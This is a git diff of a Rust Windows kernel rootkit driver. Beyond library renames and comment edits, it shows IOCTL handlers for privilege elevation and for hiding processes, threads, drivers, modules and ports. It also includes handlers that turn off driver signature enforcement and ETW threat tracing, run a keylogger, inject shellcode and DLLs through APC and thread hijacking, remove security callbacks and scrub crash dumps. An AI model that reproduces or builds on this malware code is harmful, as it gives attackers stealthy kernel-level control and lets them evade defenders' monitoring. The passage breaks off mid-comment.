[build-dependencies] wdk-build = "0.4.0" diff --git a/driver/src/allocator.rs b/driver/src/allocator.rs index 7f0d6e6..49a2d44 100644 --- a/driver/src/allocator.rs +++ b/driver/src/allocator.rs @@ -19,7 +19,7 @@ unsafe impl GlobalAlloc for KernelAlloc { /// This function leverages the `ExAllocatePool2` function from the WDK to /// provide memory allocation capabilities. /// - /// # Parameters + /// # Arguments /// /// * `layout` - Memory layout specifications. /// @@ -40,7 +40,7 @@ unsafe impl GlobalAlloc for KernelAlloc { /// This function leverages the `ExFreePool` function from the WDK to /// release the memory back to the system. /// - /// # Parameters + /// # Arguments /// /// * `ptr` - Raw pointer to the memory block to be released. /// * `_layout` - Memory layout specifications (not used in this implementation). diff --git a/driver/src/callback.rs b/driver/src/callback.rs index c35eb5a..a4c970c 100644 --- a/driver/src/callback.rs +++ b/driver/src/callback.rs @@ -12,13 +12,13 @@ use wdk_sys::{ ntddk::*, *, _KBUGCHECK_CALLBACK_REASON::KbCallbackRemovePages, }; -use shadowx::{uni, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, mdl::Mdl}; -use shadowx::{ +use shadow_core::{uni, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, mdl::Mdl}; +use shadow_core::{ KBUGCHECK_REASON_CALLBACK_RECORD, KeRegisterBugCheckReasonCallback, KeDeregisterBugCheckReasonCallback }; -use shadowx::registry::callback::{ +use shadow_core::registry::callback::{ CALLBACK_REGISTRY, registry_callback }; @@ -181,9 +181,6 @@ impl<'a> Callback<'a> { } /// Callback function triggered during a system crash (bug check). -/// -/// This function modifies the crash dump behavior by marking specific memory -/// regions to be removed from the crash dump. extern "C" fn bug_check_remove_pages( _Reason: KBUGCHECK_CALLBACK_REASON, _Record: *mut KBUGCHECK_REASON_CALLBACK_RECORD, @@ -215,12 +212,10 @@ const OPCODES: [u8; 6] = [ const MAX_DRIVER: usize = 256; /// List of drivers to block. -static TARGET_DRIVERS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); +static TARGET_DRIVERS: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); /// Callback function triggered when an image (executable/DLL) is loaded. -/// -/// This function intercepts image loading events and checks for images. -/// If detected, it modifies the image's entry point using an MDL (Memory Descriptor List). extern "C" fn image_notify_routine( FullImageName: PUNICODE_STRING, ProcessId: HANDLE, @@ -276,7 +271,7 @@ pub mod driver { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn add_driver(driver: String) -> NTSTATUS { let mut drivers = TARGET_DRIVERS.lock(); @@ -301,7 +296,7 @@ pub mod driver { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn remove_driver(driver: &String) -> NTSTATUS { let mut drivers = TARGET_DRIVERS.lock(); @@ -327,7 +322,7 @@ pub mod process { use alloc::vec::Vec; use wdk_sys::{*, ntddk::PsGetProcessId}; use wdk_sys::_OB_PREOP_CALLBACK_STATUS::{Type, OB_PREOP_SUCCESS}; - use shadowx::{ + use shadow_core::{ PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ, }; @@ -342,7 +337,7 @@ pub mod process { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn add_pid(pid: usize) -> NTSTATUS { let mut pids = TARGET_PIDS.lock(); @@ -367,7 +362,7 @@ pub mod process { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn remove_pid(pid: usize) -> NTSTATUS { let mut pids = TARGET_PIDS.lock(); @@ -383,7 +378,7 @@ pub mod process { /// /// # Returns /// - /// * A status code indicating success or failure of the operation. + /// A status code indicating success or failure of the operation. pub unsafe fn enumerate_protection_processes() -> Vec { let mut processes: Vec = Vec::new(); let process_info = TARGET_PIDS.lock(); @@ -398,16 +393,15 @@ pub mod process { } /// The object (process) pre-operation callback function used to filter process opening operations. - /// This function is registered as a callback and is called by the operating system before a process opening operation is completed. /// /// # Arguments /// - /// * `_registration_context` - Pointer to record context (Not used). - /// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation. + /// * `_registration_context` - Pointer to record context. + /// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure. /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub unsafe extern "C" fn on_pre_open_process( _registration_context: *mut core::ffi::c_void, info: *mut OB_PRE_OPERATION_INFORMATION, @@ -458,7 +452,7 @@ pub mod thread { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn add_target_tid(tid: usize) -> NTSTATUS { let mut tids = TARGET_TIDS.lock(); @@ -483,7 +477,7 @@ pub mod thread { /// /// # Returns /// - /// * A status code indicating the success or failure of the operation. + /// A status code indicating the success or failure of the operation. pub fn remove_target_tid(tid: usize) -> NTSTATUS { let mut tids = TARGET_TIDS.lock(); @@ -497,14 +491,9 @@ pub mod thread { /// Enumerate threads Protect. /// - /// # Arguments - /// - /// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected. - /// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures. - /// /// # Returns /// - /// * A status code indicating success or failure of the operation. + /// A status code indicating success or failure of the operation. pub unsafe fn enumerate_protection_thread() -> Vec { let mut threads: Vec = Vec::new(); let thread_info = TARGET_TIDS.lock(); @@ -518,16 +507,17 @@ pub mod thread { threads } - /// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads. + /// Pre-operation callback for thread opening that modifies the desired access rights + /// to prevent certain actions on specific threads. /// /// # Arguments /// - /// * `_registration_context` - A pointer to the registration context (unused). - /// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation. + /// * `_registration_context` - A pointer to the registration context. + /// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure. /// /// # Returns /// - /// * A status code indicating the success of the pre-operation. + /// A status code indicating the success of the pre-operation. pub unsafe extern "C" fn on_pre_open_thread( _registration_context: *mut core::ffi::c_void, info: *mut OB_PRE_OPERATION_INFORMATION, diff --git a/driver/src/ioctls.rs b/driver/src/ioctls.rs index 0ccad2e..6f474a3 100644 --- a/driver/src/ioctls.rs +++ b/driver/src/ioctls.rs @@ -5,7 +5,7 @@ use alloc::{ vec::Vec }; -use shadowx::error::ShadowError; +use shadow_core::error::ShadowError; use wdk_sys::*; use spin::{Lazy, Mutex}; use core::sync::atomic::{AtomicPtr, Ordering}; @@ -16,28 +16,35 @@ use common::{ }; #[cfg(not(feature = "mapper"))] -use shadowx::registry::Type; -use shadowx::{ - Process, Thread, - Network, network, +use shadow_core::registry::{Type, Registry}; +use shadow_core::callback::{ + object, + notify_routine, + registry }; -use shadowx::{ +use shadow_core::{Dse, Etw, Module}; +use shadow_core::{Process, Thread, Network}; +use shadow_core::{ + network, + Driver, + Keylogger, + Shellcode, + DLL +}; +use shadow_core::{ PROCESS_INFO_HIDE, THREAD_INFO_HIDE }; #[cfg(not(feature = "mapper"))] use crate::callback::{driver, process, thread}; -use crate::utils::{ +use crate::util::{ get_input_buffer, get_output_buffer }; -/// Static structure to store hidden driver information. -/// -/// This structure keeps track of the drivers that have been hidden, including their -/// `LDR_DATA_TABLE_ENTRY` and the previous list entries in `PsLoadedModuleList`. -static DRIVER_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); +/// Maximum number of drivers that can be tracked. +const MAX_DRIVER: usize = 100; /// Holds the user-mode address for keylogger functionality. /// @@ -45,14 +52,13 @@ static DRIVER_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::ne /// kernel memory to user space. static mut USER_ADDRESS: usize = 0; -/// Maximum number of drivers that can be tracked. -const MAX_DRIVER: usize = 100; +/// Static structure to store hidden driver information. +static DRIVER_INFO_HIDE: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); /// Type alias for an IOCTL handler function. -/// -/// Each handler receives a pointer to an `IRP` (I/O Request Packet) and -/// an `IO_STACK_LOCATION`, returning an `NTSTATUS` result. -type IoctlHandler = Box Result + Send + Sync>; +type IoctlHandler = Box + Result + Send + Sync>; /// Type for mapping IOCTL control codes to their respective handlers. type Ioctls = BTreeMap; @@ -74,7 +80,7 @@ impl IoctlManager { self.handlers.get(&control_code) } - /// Loads the IOCTL handlers into a `BTreeMap`. + /// Loads the IOCTL handlers. pub fn load_handlers(&mut self) { self.process(); self.thread(); @@ -96,14 +102,14 @@ impl IoctlManager { // Elevates the privileges of a specific process. self.register_handler(ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the process information from the input buffer. + // Retrieves the process information from the input buffer let target_process = get_input_buffer::(stack)?; let pid = (*target_process).pid; - // Update the IoStatus with the size of the process information. + // Update the IoStatus with the size of the process information (*irp).IoStatus.Information = size_of::() as u64; - // Elevates the process privileges. + // Elevates the process privileges Process::elevate_process(pid) } })); @@ -111,13 +117,13 @@ impl IoctlManager { // Hide or Unhide the specified process. self.register_handler(HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the process information from the input buffer. + // Retrieves the process information from the input buffer let target_process = get_input_buffer::(stack)?; let pid = (*target_process).pid; - // Hide or unhide the process based on the 'enable' flag. + // Hide or unhide the process based on the 'enable' flag let status = if (*target_process).enable { - // Hides the process and stores its previous state. + // Hides the process and stores its previous state let previous_list = Process::hide_process(pid)?; let mut process_info = PROCESS_INFO_HIDE.lock(); let list_ptr = Box::into_raw(Box::new(previous_list)); @@ -130,7 +136,7 @@ impl IoctlManager { STATUS_SUCCESS } else { - // Unhides the process. + // Unhides the process let list_entry = PROCESS_INFO_HIDE.lock() .iter() .find(|p| p.pid == pid) @@ -149,11 +155,11 @@ impl IoctlManager { // Terminates the specified process. self.register_handler(TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the process information from the input buffer. + // Retrieves the process information from the input buffer let target_process = get_input_buffer::(stack)?; let pid = (*target_process).pid; - // Update the IoStatus with the size of the process information. + // Update the IoStatus with the size of the process information (*irp).IoStatus.Information = size_of::() as u64; // Terminates the process. @@ -164,16 +170,16 @@ impl IoctlManager { // Modifies the PP/PPL (Protection Signature) of a process. self.register_handler(SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the process information from the input buffer. + // Retrieves the process information from the input buffer let target_process = get_input_buffer::(stack)?; let pid = (*target_process).pid; let sg = (*target_process).sg; let tp = (*target_process).tp; - // Updates the IoStatus with the size of the process information. + // Updates the IoStatus with the size of the process information (*irp).IoStatus.Information = size_of::() as u64; - // Modify the process's protection signature. + // Modify the process's protection signature Process::protection_signature(pid, sg, tp) } })); @@ -181,11 +187,11 @@ impl IoctlManager { // Lists hidden and protected processes. self.register_handler(ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the output buffer to store process information. + // Retrieves the output buffer to store process information let (output_buffer, max_entries) = get_output_buffer::(irp, stack)?; let input_target = get_input_buffer::(stack)?; - // Based on the options, either enumerate hidden or protected processes. + // Based on the options, either enumerate hidden or protected processes let processes = match (*input_target).options { Options::Hide => Process::enumerate_hide_processes(), @@ -199,10 +205,10 @@ impl IoctlManager { // Ensure we do not exceed buffer limits let entries_to_copy = core::cmp::min(processes.len(), max_entries); - // Fill the output buffer with the enumerated processes' information. + // Fill the output buffer with the enumerated processes' information core::ptr::copy_nonoverlapping(processes.as_ptr(), output_buffer, entries_to_copy); - // Updates the IoStatus with the size of the enumerated processes. + // Updates the IoStatus with the size of the enumerated processes (*irp).IoStatus.Information = (entries_to_copy * size_of::()) as u64; Ok(STATUS_SUCCESS) } @@ -213,19 +219,19 @@ impl IoctlManager { // Add or remove shutdown/memory dump protection for a process. self.register_handler(PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the process information from the input buffer. + // Retrieves the process information from the input buffer let process_protection = get_input_buffer::(stack)?; let pid = (*process_protection).pid; let enable = (*process_protection).enable; - // Adds or removes protection for the process based on the 'enable' flag. + // Adds or removes protection for the process based on the 'enable' flag let status = if enable { process::add_pid(pid) } else { process::remove_pid(pid) }; - // Updates the IoStatus with the size of the process information. + // Updates the IoStatus with the size of the process information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -238,13 +244,13 @@ impl IoctlManager { // Enable/Disable DSE (Driver Signature Enforcement). self.register_handler(ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer containing DSE information. + // Get the input buffer containing DSE information let target_dse = get_input_buffer::(stack)?; - // Call to enable or disable DSE based on the input. - let status = shadowx::Dse::set_dse_state((*target_dse).enable)?; + // Call to enable or disable DSE based on the input + let status = Dse::set_dse_state((*target_dse).enable)?; - // Set the number of bytes returned to the size of the ETWTI structure. + // Set the number of bytes returned to the size of the ETWTI structure (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -253,19 +259,19 @@ impl IoctlManager { // Start Keylogger: Maps the address for keylogger functionality to user space. self.register_handler(KEYLOGGER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION| { unsafe { - // If the USER_ADDRESS has not been set, retrieve it using the keylogger function. + // If the USER_ADDRESS has not been set, retrieve it using the keylogger function if USER_ADDRESS == 0 { - USER_ADDRESS = match shadowx::Keylogger::get_user_address_keylogger() { + USER_ADDRESS = match Keylogger::get_user_address_keylogger() { Ok(addr) => addr as usize, Err(err) => { - // Log the error and return a failure status if keylogger setup fails. + // Log the error and return a failure status if keylogger setup fails log::error!("Error get_user_address_keylogger: {err}"); return Ok(STATUS_UNSUCCESSFUL); }, }; } - // Write the USER_ADDRESS to the output buffer provided by the IRP. + // Write the USER_ADDRESS to the output buffer provided by the IRP let output_buffer = (*irp).AssociatedIrp.SystemBuffer; if output_buffer.is_null() { log::error!("IRP SystemBuffer is null"); @@ -274,7 +280,7 @@ impl IoctlManager { *(output_buffer as *mut usize) = USER_ADDRESS; - // Set the number of bytes returned to the size of a `usize`. + // Set the number of bytes (*irp).IoStatus.Information = size_of::() as u64; Ok(STATUS_SUCCESS) } @@ -283,13 +289,13 @@ impl IoctlManager { // Enable/Disable ETWTI. self.register_handler(ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer containing ETW tracing information. + // Get the input buffer containing ETW tracing information let target_etw = get_input_buffer::(stack)?; - // Call to enable or disable ETW tracing based on the input. - let status = shadowx::Etw::etwti_enable_disable((*target_etw).enable)?; + // Call to enable or disable ETW tracing based on the input + let status = Etw::etwti_enable_disable((*target_etw).enable)?; - // Set the number of bytes returned to the size of the ETWTI structure. + // Set the number of bytes returned to the size of the ETWTI structure (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -301,33 +307,33 @@ impl IoctlManager { // Handle port protection: hide port by toggling its status in the protected ports list. self.register_handler(HIDE_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Lock the list of protected ports to check if it's empty. + // Lock the list of protected ports to check if it's empty let protected_ports = network::PROTECTED_PORTS.lock(); - // If the list is empty and the hook is not installed, install the hook. + // If the list is empty and the hook is not installed, install the hook if protected_ports.is_empty() && !network::HOOK_INSTALLED.load(Ordering::Relaxed) { Network::install_hook()?; } - // Unlock the ports list. + // Unlock the ports list drop(protected_ports); - // Get the target port from the input buffer. + // Get the target port from the input buffer let target_port = get_input_buffer::(stack)?; - // Add or remove the target port from the protected list. + // Add or remove the target port from the protected list let status = if (*target_port).enable { network::add_port(target_port) } else { network::remove_port(target_port) }; - // If the operation was successful and the list is now empty, uninstall the hook. + // If the operation was successful and the list is now empty, uninstall the hook if NT_SUCCESS(status) && network::PROTECTED_PORTS.lock().is_empty() && network::HOOK_INSTALLED.load(Ordering::Relaxed) { Network::uninstall_hook()?; } - // Set the number of bytes returned to the size of `TargetPort`. + // Set the number of bytes (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -336,7 +342,7 @@ impl IoctlManager { /// Registers the IOCTL handlers for module-related operations. fn module(&mut self) { - // Enumerate loaded modules in the target process. + // Enumerate loaded modules in the target process self.register_handler(ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { // Get the target process from the input buffer @@ -344,8 +350,8 @@ impl IoctlManager { let (module_info, max_entries) = get_output_buffer::(irp, stack)?; let pid = (*target_process).pid; - // Enumerate modules in the process. - let modules = shadowx::Module::enumerate_module(pid)?; + // Enumerate modules in the process + let modules = Module::enumerate_module(pid)?; // Ensure we do not exceed buffer limits let entries_to_copy = core::cmp::min(modules.len(), max_entries); @@ -372,13 +378,13 @@ impl IoctlManager { // Hide a specific module in the target process. self.register_handler(HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the target module information from the input buffer. + // Get the target module information from the input buffer let target = get_input_buffer::(stack)?; - // Hide the module based on the PID and module name. - let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?; + // Hide the module based on the PID and module name + let status = Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?; - // Update IoStatus to indicate success. + // Update IoStatus to indicate success (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -387,102 +393,102 @@ impl IoctlManager { /// Registers the IOCTL handlers for injection-related operations. fn injection(&mut self) { - // Shellcode injection using a new thread (ZwCreateThreadEx). + // Shellcode injection using a new thread (ZwCreateThreadEx) self.register_handler(INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer with the injection data. + // Get the input buffer with the injection data let input_buffer = get_input_buffer::(stack)?; let pid = (*input_buffer).pid; let path = (*input_buffer).path.as_str(); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; - // Perform shellcode injection using a new thread. - shadowx::Shellcode::thread(pid, path) + // Perform shellcode injection using a new thread + Shellcode::thread(pid, path) } })); // Shellcode injection via APC (Asynchronous Procedure Call). self.register_handler(INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer with the injection data. + // Get the input buffer with the injection data let input_buffer = get_input_buffer::(stack)?; let pid = (*input_buffer).pid; let path = (*input_buffer).path.as_str(); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; // Perform shellcode injection via APC. - shadowx::Shellcode::apc(pid, path) + Shellcode::apc(pid, path) } })); // DLL injection using a new thread (ZwCreateThreadEx). self.register_handler(INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer with the injection data. + // Get the input buffer with the injection data let input_buffer = get_input_buffer::(stack)?; let pid = (*input_buffer).pid; let path = (*input_buffer).path.as_str(); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; - // Perform DLL injection using a new thread. - shadowx::DLL::thread(pid, path) + // Perform DLL injection using a new thread + DLL::thread(pid, path) } })); // DLL injection using APC. self.register_handler(INJECTION_DLL_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer with the injection data. + // Get the input buffer with the injection data let input_buffer = get_input_buffer::(stack)?; let pid = (*input_buffer).pid; let path = (*input_buffer).path.as_str(); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; // Perform DLL injection using APC - shadowx::DLL::apc(pid, path) + DLL::apc(pid, path) } })); // Execute Shellcode with Thread Hijacking. self.register_handler(INJECTION_SHELLCODE_THREAD_HIJACKING, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the input buffer with the injection data. + // Get the input buffer with the injection data let input_buffer = get_input_buffer::(stack)?; let pid = (*input_buffer).pid; let path = (*input_buffer).path.as_str(); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; // Perform Thread Hijacking - shadowx::Shellcode::thread_hijacking(pid, path) + Shellcode::thread_hijacking(pid, path) } })); } /// Registers the IOCTL handlers for driver-related operations. fn driver(&mut self) { - // Hiding / Unhiding a driver from the PsLoadedModuleList. + // Hiding / Unhiding a driver from the PsLoadedModuleList self.register_handler(HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { let target_driver = get_input_buffer::(stack)?; let driver_name = &(*target_driver).name; - // Perform the operation based on whether we are hiding or unhiding the driver. + // Perform the operation based on whether we are hiding or unhiding the driver let status = if (*target_driver).enable { - // Hide the driver and store its previous entries. - let (previous_list, previos_ldr_data) = shadowx::Driver::hide_driver(driver_name)?; + // Hide the driver and store its previous entries + let (previous_list, previos_ldr_data) = Driver::hide_driver(driver_name)?; let mut driver_info = DRIVER_INFO_HIDE.lock(); - // Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration. + // Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration let ldr_data = Box::into_raw(Box::new(previos_ldr_data)); let list_entry = Box::into_raw(Box::new(previous_list)); @@ -505,10 +511,10 @@ impl IoctlManager { )) .ok_or(ShadowError::DriverNotFound(driver_name.to_string()))?; - shadowx::Driver::unhide_driver(driver_name, list_entry.cast(), ldr_data.cast())? + Driver::unhide_driver(driver_name, list_entry.cast(), ldr_data.cast())? }; - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -517,17 +523,17 @@ impl IoctlManager { // Enumerating active drivers on the system. self.register_handler(ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { unsafe { - // Get the output buffer for returning the driver information. + // Get the output buffer for returning the driver information let (driver_info, max_entries) = get_output_buffer::(irp, stack)?; - // Enumerate the drivers currently loaded in the system. - let drivers = shadowx::Driver::enumerate_driver()?; + // Enumerate the drivers currently loaded in the system + let drivers = Driver::enumerate_driver()?; // Copy only what fits in the user buffer let entries_to_copy = core::cmp::min(drivers.len(), max_entries); core::ptr::copy_nonoverlapping(drivers.as_ptr(), driver_info, entries_to_copy); - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = (entries_to_copy * size_of::()) as u64; Ok(STATUS_SUCCESS) } @@ -546,7 +552,7 @@ impl IoctlManager { driver::remove_driver(driver_name) }; - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -559,13 +565,13 @@ impl IoctlManager { // Hide the specified Thread by removing it from the list of active threads. self.register_handler(HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the thread information from the input buffer. + // Retrieves the thread information from the input buffer let target_thread = get_input_buffer::(stack)?; let tid = (*target_thread).tid; - // Hide or unhide the thread based on the 'enable' flag. + // Hide or unhide the thread based on the 'enable' flag let status = if (*target_thread).enable { - // Hides the thread and stores its previous state. + // Hides the thread and stores its previous state let previous_list = Thread::hide_thread(tid)?; let mut process_info = THREAD_INFO_HIDE.lock(); let list_ptr = Box::into_raw(Box::new(previous_list)); @@ -578,7 +584,7 @@ impl IoctlManager { STATUS_SUCCESS } else { - // Unhides the thread. + // Unhides the thread let list_entry = THREAD_INFO_HIDE.lock() .iter() .find(|p| p.tid == tid) @@ -588,7 +594,7 @@ impl IoctlManager { Thread::unhide_thread(tid, list_entry.cast())? }; - // Updates the IoStatus and returns the result of the operation. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -616,7 +622,7 @@ impl IoctlManager { let entries_to_copy = core::cmp::min(threads.len(), max_entries); core::ptr::copy_nonoverlapping(threads.as_ptr(), output_buffer, entries_to_copy); - // Updates the IoStatus with the size of the enumerated threads. + // Set the size of the returned information (*irp).IoStatus.Information = (entries_to_copy * size_of::()) as u64; Ok(STATUS_SUCCESS) } @@ -624,22 +630,22 @@ impl IoctlManager { // If the feature is a mapper, these functionalities will not be added. #[cfg(not(feature = "mapper"))] { - // Responsible for adding thread termination protection. + // Responsible for adding thread termination protection self.register_handler(PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { - // Retrieves the thread information from the input buffer. + // Retrieves the thread information from the input buffer let thread_protection = get_input_buffer::(stack)?; let tid = (*thread_protection).tid; let enable = (*thread_protection).enable; - // Adds or removes protection for the thread based on the 'enable' flag. + // Adds or removes protection for the thread based on the 'enable' flag let status = if enable { thread::add_target_tid(tid) } else { thread::remove_target_tid(tid) }; - // Updates the IoStatus with the size of the thread information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -657,12 +663,12 @@ impl IoctlManager { let callbacks = match (*target_callback).callback { Callbacks::PsSetCreateProcessNotifyRoutine | Callbacks::PsSetCreateThreadNotifyRoutine - | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate((*target_callback).callback)?, + | Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::enumerate((*target_callback).callback)?, - Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate((*target_callback).callback)?, + Callbacks::CmRegisterCallbackEx => registry::enumerate((*target_callback).callback)?, Callbacks::ObProcess - | Callbacks::ObThread => shadowx::CallbackOb::enumerate((*target_callback).callback)?, + | Callbacks::ObThread => object::enumerate((*target_callback).callback)?, }; // Ensure we do not exceed buffer limits @@ -682,7 +688,7 @@ impl IoctlManager { (*info_ptr).post_operation = callback.post_operation; } - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = (entries_to_copy * size_of::()) as u64; Ok(STATUS_SUCCESS) } @@ -695,15 +701,15 @@ impl IoctlManager { let status = match (*target_callback).callback { Callbacks::PsSetCreateProcessNotifyRoutine | Callbacks::PsSetCreateThreadNotifyRoutine - | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::remove((*target_callback).callback, (*target_callback).index)?, + | Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::remove((*target_callback).callback, (*target_callback).index)?, - Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::remove((*target_callback).callback, (*target_callback).index)?, + Callbacks::CmRegisterCallbackEx => registry::remove((*target_callback).callback, (*target_callback).index)?, Callbacks::ObProcess - | Callbacks::ObThread => shadowx::CallbackOb::remove((*target_callback).callback, (*target_callback).index)?, + | Callbacks::ObThread => object::remove((*target_callback).callback, (*target_callback).index)?, }; - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -716,15 +722,15 @@ impl IoctlManager { let status = match (*target_callback).callback { Callbacks::PsSetCreateProcessNotifyRoutine | Callbacks::PsSetCreateThreadNotifyRoutine - | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::restore((*target_callback).callback, (*target_callback).index)?, + | Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::restore((*target_callback).callback, (*target_callback).index)?, - Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::restore((*target_callback).callback, (*target_callback).index)?, + Callbacks::CmRegisterCallbackEx => registry::restore((*target_callback).callback, (*target_callback).index)?, Callbacks::ObProcess - | Callbacks::ObThread => shadowx::CallbackOb::restore((*target_callback).callback, (*target_callback).index)?, + | Callbacks::ObThread => object::restore((*target_callback).callback, (*target_callback).index)?, }; - // Set the size of the returned information. + // Set the size of the returned information (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } @@ -738,12 +744,12 @@ impl IoctlManager { let callbacks = match (*target_callback).callback { Callbacks::PsSetCreateProcessNotifyRoutine | Callbacks::PsSetCreateThreadNotifyRoutine - | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate_removed()?, + | Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::enumerate_removed()?, - Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate_removed()?, + Callbacks::CmRegisterCallbackEx => registry::enumerate_removed()?, Callbacks::ObProcess - | Callbacks::ObThread => shadowx::CallbackOb::enumerate_removed()?, + | Callbacks::ObThread => object::enumerate_removed()?, }; // Ensure we do not exceed buffer limits @@ -772,33 +778,33 @@ impl IoctlManager { /// Registers the IOCTL handlers for registry-related operations. #[cfg(not(feature = "mapper"))] fn registry(&mut self) { - // Adding protection for registry key values. + // Adding protection for registry key values self.register_handler(REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { let target_registry = get_input_buffer::(stack)?; - let status = shadowx::Registry::modify_key_value(target_registry, Type::Protect); + let status = Registry::modify_key_value(target_registry, Type::Protect); (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } })); - // Added protection for registry keys. + // Added protection for registry keys self.register_handler(REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { let target_registry = get_input_buffer::(stack)?; - let status = shadowx::Registry::modify_key(target_registry, Type::Protect); + let status = Registry::modify_key(target_registry, Type::Protect); (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } })); - // Handles IOCTL to 